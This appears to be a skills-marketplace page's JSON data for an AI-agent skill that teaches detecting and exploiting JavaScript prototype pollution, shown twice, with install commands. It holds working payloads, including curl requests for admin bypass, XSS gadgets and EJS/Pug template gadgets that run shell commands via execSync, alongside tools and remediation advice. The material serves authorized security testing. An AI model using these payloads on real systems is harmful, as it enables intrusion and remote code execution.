[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M74YQCSSTP5MQN41RG2HNQ17":3,"skill-same:01M74YQCSSTP5MQN41RG2HNQ17":74},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":38,"commitSha":39,"skillDirectory":5,"forksCount":14,"repositoryHtmlUrl":40,"repositoryHomepageUrl":6,"ownerHtmlUrl":41,"ownerBlogUrl":42,"ownerDescription":6,"updatedAt":43,"install":44,"resources":57},"01M74YQCSSTP5MQN41RG2HNQ17","exploiting-prototype-pollution-in-javascript",null,"Detect and exploit JavaScript prototype pollution vulnerabilities on both client-side and server-side applications to achieve XSS, RCE, and authentication bypass through property injection.","SamuelChien\u002Fmega-skills-collection","SamuelChien","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F4652114?v=4","01M74KK34WVHA0P5ZYSJRDDFMG","Samuel Chien","01M74KK35FQN1N9VZ9EPTH3P2S",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fexploiting-prototype-pollution-in-javascript\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fexploiting-prototype-pollution-in-javascript\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: exploiting-prototype-pollution-in-javascript\ndescription: Detect and exploit JavaScript prototype pollution vulnerabilities on both client-side and server-side applications to achieve XSS, RCE, and authentication bypass through property injection.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags: [prototype-pollution, javascript, node-js, xss, rce, property-injection, dom-xss, server-side-pollution]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n\n# Exploiting Prototype Pollution in JavaScript\n\n## When to Use\n- When testing Node.js or JavaScript-heavy web applications\n- During assessment of APIs accepting deep-merged JSON objects\n- When testing client-side JavaScript frameworks for DOM XSS via prototype pollution\n- During code review of object merge\u002Fclone\u002Fextend operations\n- When evaluating npm packages for prototype pollution gadgets\n\n## Prerequisites\n- Burp Suite with DOM Invader extension for client-side prototype pollution detection\n- Node.js development environment for server-side testing\n- Understanding of JavaScript prototype chain and object inheritance\n- Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)\n- Prototype Pollution Gadgets Scanner Burp extension for server-side detection\n- Browser developer console for client-side prototype manipulation\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Prototype Pollution Sources\n```javascript\n\u002F\u002F Client-side: Test URL-based sources\n\u002F\u002F Navigate to: http:\u002F\u002Ftarget.com\u002Fpage?__proto__[polluted]=true\n\u002F\u002F Or use constructor: http:\u002F\u002Ftarget.com\u002Fpage?constructor[prototype][polluted]=true\n\n\u002F\u002F Check in browser console:\nconsole.log(({}).polluted); \u002F\u002F If returns \"true\", pollution confirmed\n\n\u002F\u002F Common URL-based pollution vectors:\n\u002F\u002F ?__proto__[key]=value\n\u002F\u002F ?__proto__.key=value\n\u002F\u002F ?constructor[prototype][key]=value\n\u002F\u002F ?constructor.prototype.key=value\n\n\u002F\u002F Hash fragment pollution:\n\u002F\u002F http:\u002F\u002Ftarget.com\u002F#__proto__[key]=value\n```\n\n### Step 2 — Test Server-Side Prototype Pollution\n```bash\n# Test via JSON body with __proto__\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"isAdmin\": true}}'\n\n# Test via constructor.prototype\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"constructor\": {\"prototype\": {\"isAdmin\": true}}}'\n\n# Test for status code reflection (detection technique)\n# Pollute status property to detect server-side pollution\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"status\": 510}}'\n# If response returns 510, server-side pollution confirmed\n\n# JSON content type pollution\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"shell\": \"\u002Fproc\u002Fself\u002Fexe\", \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Fenviron\"}}'\n```\n\n### Step 3 — Exploit Client-Side for DOM XSS\n```javascript\n\u002F\u002F Step 1: Find pollution source (URL parameter, JSON input, postMessage)\n\u002F\u002F Step 2: Find a gadget - a property read from prototype that reaches a sink\n\n\u002F\u002F Common gadgets for DOM XSS:\n\u002F\u002F innerHTML gadget:\n\u002F\u002F ?__proto__[innerHTML]=\u003Cimg\u002Fsrc\u002Fonerror=alert(1)>\n\n\u002F\u002F jQuery $.html() gadget:\n\u002F\u002F ?__proto__[html]=\u003Cimg\u002Fsrc\u002Fonerror=alert(1)>\n\n\u002F\u002F transport URL gadget (common in analytics scripts):\n\u002F\u002F ?__proto__[transport_url]=data:,alert(1)\u002F\u002F\n\n\u002F\u002F Sanitizer bypass via prototype pollution:\n\u002F\u002F ?__proto__[allowedTags]=\u003Cscript>\n\u002F\u002F ?__proto__[tagName]=IMG\n\n\u002F\u002F Use DOM Invader (Burp Suite built-in):\n\u002F\u002F 1. Enable DOM Invader in Burp's embedded browser\n\u002F\u002F 2. Enable Prototype Pollution option\n\u002F\u002F 3. Browse application - DOM Invader auto-detects sources\n\u002F\u002F 4. Click \"Scan for gadgets\" to find exploitable sinks\n```\n\n### Step 4 — Exploit Server-Side for RCE\n```bash\n# Node.js child_process gadget (RCE)\n# If application calls child_process.execSync(), spawn(), or fork():\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"shell\": \"node\", \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Fcmdline\"}}'\n\n# EJS template engine gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"client\": true, \"escapeFunction\": \"JSON.stringify; process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}}'\n\n# Handlebars template gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"allowProtoMethodsByDefault\": true, \"allowProtoPropertiesByDefault\": true}}'\n\n# Pug template engine gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"block\": {\"type\": \"Text\", \"line\": \"process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}}}'\n```\n\n### Step 5 — Exploit for Authentication and Authorization Bypass\n```bash\n# Pollute isAdmin or role property\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"isAdmin\": true, \"role\": \"admin\"}}'\n\n# Pollute auth-related properties\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"verified\": true, \"emailVerified\": true}}'\n\n# Bypass JSON schema validation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"additionalProperties\": true}}'\n```\n\n### Step 6 — Detect with Automated Tools\n```bash\n# Use ppfuzz for automated detection\nppfuzz -l urls.txt -o results.txt\n\n# Nuclei templates for prototype pollution\necho \"http:\u002F\u002Ftarget.com\" | nuclei -t http\u002Fvulnerabilities\u002Fgeneric\u002Fprototype-pollution.yaml\n\n# Server-side detection with Burp Scanner\n# Enable \"Server-side prototype pollution\" scan check\n# Review issues in Burp Dashboard\n\n# Manual detection via timing\u002Ferror-based techniques\n# Pollute a property that causes detectable server behavior change\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"toString\": \"polluted\"}}'\n# If server errors (500), pollution is working\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Prototype Chain | JavaScript inheritance mechanism where objects inherit from Object.prototype |\n| __proto__ | Accessor property that exposes the prototype of an object |\n| Pollution Source | Input point that allows setting properties on Object.prototype |\n| Pollution Sink | Code that reads a polluted property and performs a dangerous operation |\n| Gadget | A property that flows from prototype to a dangerous sink (source-to-sink chain) |\n| Deep Merge | Recursive object merge functions that may process __proto__ as a regular key |\n| constructor.prototype | Alternative path to access and pollute the prototype object |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| DOM Invader | Burp Suite built-in tool for detecting client-side prototype pollution |\n| Prototype Pollution Gadgets Scanner | Burp extension for server-side gadget detection |\n| ppfuzz | Automated prototype pollution fuzzer |\n| Nuclei | Template-based scanner with prototype pollution templates |\n| server-side-prototype-pollution | Burp Scanner check for server-side detection |\n| ESLint security plugin | Static analysis for prototype pollution patterns in code |\n\n## Common Scenarios\n\n1. **DOM XSS via Analytics** — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype\n2. **RCE via Template Engine** — Exploit EJS\u002FPug\u002FHandlebars gadgets to execute arbitrary commands through polluted template rendering properties\n3. **Admin Privilege Escalation** — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications\n4. **JSON Schema Bypass** — Pollute schema validation properties to bypass input validation and inject malicious data\n5. **Denial of Service** — Pollute toString or valueOf to crash the application when objects are coerced to primitives\n\n## Output Format\n\n```\n## Prototype Pollution Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Type**: Server-Side Prototype Pollution\n- **Impact**: Remote Code Execution via EJS template gadget\n\n### Findings\n| # | Source | Gadget | Sink | Impact |\n|---|--------|--------|------|--------|\n| 1 | POST \u002Fapi\u002Fmerge __proto__ | EJS escapeFunction | Template render | RCE |\n| 2 | POST \u002Fapi\u002Fprofile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |\n| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |\n\n### Remediation\n- Use Object.create(null) for configuration objects instead of {}\n- Freeze Object.prototype with Object.freeze(Object.prototype)\n- Sanitize __proto__ and constructor keys in user input\n- Use Map instead of plain objects for user-controlled data\n- Update vulnerable npm packages (lodash, merge-deep, etc.)\n```\n","# Exploiting Prototype Pollution in JavaScript\n\n## When to Use\n- When testing Node.js or JavaScript-heavy web applications\n- During assessment of APIs accepting deep-merged JSON objects\n- When testing client-side JavaScript frameworks for DOM XSS via prototype pollution\n- During code review of object merge\u002Fclone\u002Fextend operations\n- When evaluating npm packages for prototype pollution gadgets\n\n## Prerequisites\n- Burp Suite with DOM Invader extension for client-side prototype pollution detection\n- Node.js development environment for server-side testing\n- Understanding of JavaScript prototype chain and object inheritance\n- Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)\n- Prototype Pollution Gadgets Scanner Burp extension for server-side detection\n- Browser developer console for client-side prototype manipulation\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Prototype Pollution Sources\n```javascript\n\u002F\u002F Client-side: Test URL-based sources\n\u002F\u002F Navigate to: http:\u002F\u002Ftarget.com\u002Fpage?__proto__[polluted]=true\n\u002F\u002F Or use constructor: http:\u002F\u002Ftarget.com\u002Fpage?constructor[prototype][polluted]=true\n\n\u002F\u002F Check in browser console:\nconsole.log(({}).polluted); \u002F\u002F If returns \"true\", pollution confirmed\n\n\u002F\u002F Common URL-based pollution vectors:\n\u002F\u002F ?__proto__[key]=value\n\u002F\u002F ?__proto__.key=value\n\u002F\u002F ?constructor[prototype][key]=value\n\u002F\u002F ?constructor.prototype.key=value\n\n\u002F\u002F Hash fragment pollution:\n\u002F\u002F http:\u002F\u002Ftarget.com\u002F#__proto__[key]=value\n```\n\n### Step 2 — Test Server-Side Prototype Pollution\n```bash\n# Test via JSON body with __proto__\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"isAdmin\": true}}'\n\n# Test via constructor.prototype\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"constructor\": {\"prototype\": {\"isAdmin\": true}}}'\n\n# Test for status code reflection (detection technique)\n# Pollute status property to detect server-side pollution\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"status\": 510}}'\n# If response returns 510, server-side pollution confirmed\n\n# JSON content type pollution\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"shell\": \"\u002Fproc\u002Fself\u002Fexe\", \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Fenviron\"}}'\n```\n\n### Step 3 — Exploit Client-Side for DOM XSS\n```javascript\n\u002F\u002F Step 1: Find pollution source (URL parameter, JSON input, postMessage)\n\u002F\u002F Step 2: Find a gadget - a property read from prototype that reaches a sink\n\n\u002F\u002F Common gadgets for DOM XSS:\n\u002F\u002F innerHTML gadget:\n\u002F\u002F ?__proto__[innerHTML]=\u003Cimg\u002Fsrc\u002Fonerror=alert(1)>\n\n\u002F\u002F jQuery $.html() gadget:\n\u002F\u002F ?__proto__[html]=\u003Cimg\u002Fsrc\u002Fonerror=alert(1)>\n\n\u002F\u002F transport URL gadget (common in analytics scripts):\n\u002F\u002F ?__proto__[transport_url]=data:,alert(1)\u002F\u002F\n\n\u002F\u002F Sanitizer bypass via prototype pollution:\n\u002F\u002F ?__proto__[allowedTags]=\u003Cscript>\n\u002F\u002F ?__proto__[tagName]=IMG\n\n\u002F\u002F Use DOM Invader (Burp Suite built-in):\n\u002F\u002F 1. Enable DOM Invader in Burp's embedded browser\n\u002F\u002F 2. Enable Prototype Pollution option\n\u002F\u002F 3. Browse application - DOM Invader auto-detects sources\n\u002F\u002F 4. Click \"Scan for gadgets\" to find exploitable sinks\n```\n\n### Step 4 — Exploit Server-Side for RCE\n```bash\n# Node.js child_process gadget (RCE)\n# If application calls child_process.execSync(), spawn(), or fork():\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"shell\": \"node\", \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Fcmdline\"}}'\n\n# EJS template engine gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"client\": true, \"escapeFunction\": \"JSON.stringify; process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}}'\n\n# Handlebars template gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"allowProtoMethodsByDefault\": true, \"allowProtoPropertiesByDefault\": true}}'\n\n# Pug template engine gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"block\": {\"type\": \"Text\", \"line\": \"process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}}}'\n```\n\n### Step 5 — Exploit for Authentication and Authorization Bypass\n```bash\n# Pollute isAdmin or role property\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"isAdmin\": true, \"role\": \"admin\"}}'\n\n# Pollute auth-related properties\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"verified\": true, \"emailVerified\": true}}'\n\n# Bypass JSON schema validation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"additionalProperties\": true}}'\n```\n\n### Step 6 — Detect with Automated Tools\n```bash\n# Use ppfuzz for automated detection\nppfuzz -l urls.txt -o results.txt\n\n# Nuclei templates for prototype pollution\necho \"http:\u002F\u002Ftarget.com\" | nuclei -t http\u002Fvulnerabilities\u002Fgeneric\u002Fprototype-pollution.yaml\n\n# Server-side detection with Burp Scanner\n# Enable \"Server-side prototype pollution\" scan check\n# Review issues in Burp Dashboard\n\n# Manual detection via timing\u002Ferror-based techniques\n# Pollute a property that causes detectable server behavior change\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"toString\": \"polluted\"}}'\n# If server errors (500), pollution is working\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Prototype Chain | JavaScript inheritance mechanism where objects inherit from Object.prototype |\n| __proto__ | Accessor property that exposes the prototype of an object |\n| Pollution Source | Input point that allows setting properties on Object.prototype |\n| Pollution Sink | Code that reads a polluted property and performs a dangerous operation |\n| Gadget | A property that flows from prototype to a dangerous sink (source-to-sink chain) |\n| Deep Merge | Recursive object merge functions that may process __proto__ as a regular key |\n| constructor.prototype | Alternative path to access and pollute the prototype object |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| DOM Invader | Burp Suite built-in tool for detecting client-side prototype pollution |\n| Prototype Pollution Gadgets Scanner | Burp extension for server-side gadget detection |\n| ppfuzz | Automated prototype pollution fuzzer |\n| Nuclei | Template-based scanner with prototype pollution templates |\n| server-side-prototype-pollution | Burp Scanner check for server-side detection |\n| ESLint security plugin | Static analysis for prototype pollution patterns in code |\n\n## Common Scenarios\n\n1. **DOM XSS via Analytics** — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype\n2. **RCE via Template Engine** — Exploit EJS\u002FPug\u002FHandlebars gadgets to execute arbitrary commands through polluted template rendering properties\n3. **Admin Privilege Escalation** — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications\n4. **JSON Schema Bypass** — Pollute schema validation properties to bypass input validation and inject malicious data\n5. **Denial of Service** — Pollute toString or valueOf to crash the application when objects are coerced to primitives\n\n## Output Format\n\n```\n## Prototype Pollution Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Type**: Server-Side Prototype Pollution\n- **Impact**: Remote Code Execution via EJS template gadget\n\n### Findings\n| # | Source | Gadget | Sink | Impact |\n|---|--------|--------|------|--------|\n| 1 | POST \u002Fapi\u002Fmerge __proto__ | EJS escapeFunction | Template render | RCE |\n| 2 | POST \u002Fapi\u002Fprofile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |\n| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |\n\n### Remediation\n- Use Object.create(null) for configuration objects instead of {}\n- Freeze Object.prototype with Object.freeze(Object.prototype)\n- Sanitize __proto__ and constructor keys in user input\n- Use Map instead of plain objects for user-controlled data\n- Update vulnerable npm packages (lodash, merge-deep, etc.)\n```\n",{"name":5,"tags":25,"author":34,"domain":35,"license":15,"version":36,"subdomain":37,"description":7},[26,27,28,29,30,31,32,33],"prototype-pollution","javascript","node-js","xss","rce","property-injection","dom-xss","server-side-pollution","mahipal","cybersecurity","1.0","web-application-security","main","c2b1fdccc779e99ac814e55fb69ca8d71215dd0f","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection","https:\u002F\u002Fgithub.com\u002FSamuelChien","http:\u002F\u002Fsamuelchien.com\u002F","2026-05-26 08:27:14",{"source":8,"skillName":5,"commands":45,"prompt":55,"zipAvailable":56},[46,49,52],{"tool":47,"command":48},"npx","npx skills add SamuelChien\u002Fmega-skills-collection --skill exploiting-prototype-pollution-in-javascript",{"tool":50,"command":51},"bunx","bunx skills add SamuelChien\u002Fmega-skills-collection --skill exploiting-prototype-pollution-in-javascript",{"tool":53,"command":54},"pnpm","pnpm dlx skills add SamuelChien\u002Fmega-skills-collection --skill exploiting-prototype-pollution-in-javascript","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fexploiting-prototype-pollution-in-javascript\u002FSKILL.md",true,[58,62,68],{"path":59,"resourceType":59,"resourceTypeDesc":60,"sizeBytes":61,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":63,"resourceType":64,"resourceTypeDesc":65,"sizeBytes":66,"sourceHtmlUrl":67},"references\u002Fapi-reference.md","REFERENCE","参考文档",2477,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fexploiting-prototype-pollution-in-javascript\u002Freferences\u002Fapi-reference.md",{"path":69,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":73},"scripts\u002Fagent.py","SCRIPT","脚本",5642,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fexploiting-prototype-pollution-in-javascript\u002Fscripts\u002Fagent.py",[75,83,90,97,104,111],{"skillNo":76,"name":77,"nameZh":6,"description":78,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":79,"licenseFileUrl":6,"sourceHtmlUrl":80,"categories":81,"keywords":82,"publishedAt":20},"01M76R4WZQZAXGGXMQCA0FZ716","zustand-store-ts","Create Zustand stores with TypeScript, subscribeWithSelector middleware, and proper state\u002Faction separation. Use when building React state management, creating global stores, or implementing reactive state patterns with Zustand.","MIT","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzustand-store-ts\u002FSKILL.md",[],[],{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":79,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":20},"01M76R4T9KENDH7FENGZQHBW4G","zustand-store-creator","Zustand Store Creator - Auto-activating skill for Frontend Development.\nTriggers on: zustand store creator, zustand store creator\nPart of the Frontend Development skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzustand-store-creator\u002FSKILL.md",[],[],{"skillNo":91,"name":92,"nameZh":6,"description":93,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":79,"licenseFileUrl":6,"sourceHtmlUrl":94,"categories":95,"keywords":96,"publishedAt":20},"01M76R3YWN84B7SANJ52X799ZE","zero-trust-config-helper","Zero Trust Config Helper - Auto-activating skill for Security Advanced.\nTriggers on: zero trust config helper, zero trust config helper\nPart of the Security Advanced skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzero-trust-config-helper\u002FSKILL.md",[],[],{"skillNo":98,"name":99,"nameZh":6,"description":100,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":79,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":20},"01M76R3HNSV2AEYSKHM915GJ58","zapier-integration-helper","Zapier Integration Helper - Auto-activating skill for Business Automation.\nTriggers on: zapier integration helper, zapier integration helper\nPart of the Business Automation skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzapier-integration-helper\u002FSKILL.md",[],[],{"skillNo":105,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":108,"categories":109,"keywords":110,"publishedAt":20},"01M76R3DJSKAT4FA7DV4BF3GCE","zai-cli","Execute z.AI CLI providing vision, search, reader, and GitHub exploration via CLI and MCP.\nUse when user needs image\u002Fvideo analysis, OCR, UI-to-code conversion, error diagnosis,\nreal-time web search, web page to markdown extraction, or GitHub code exploration.\nTrigger with phrases like \"analyze this image\", \"search the web for\", \"read this page\",\n\"explore this repo\", or \"use zai\". Requires Z_AI_API_KEY.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzai-cli\u002FSKILL.md",[],[],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":79,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":117,"publishedAt":20},"01M76R2KAM699XE9AJVAWE4H2E","yt-research","Research competitor YouTube channels, niches, and trending topics for your content strategy.\nUse this skill whenever the user says \"research channels\", \"analyze competitors\", \"find trending topics\",\n\"niche analysis\", \"competitive research\", \"what are other creators doing\", \"scrape YouTube channels\",\nor wants to understand the competitive landscape for a specific tool or topic area. Use when working with yt research. Trigger with 'yt', 'research'.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fyt-research\u002FSKILL.md",[],[]]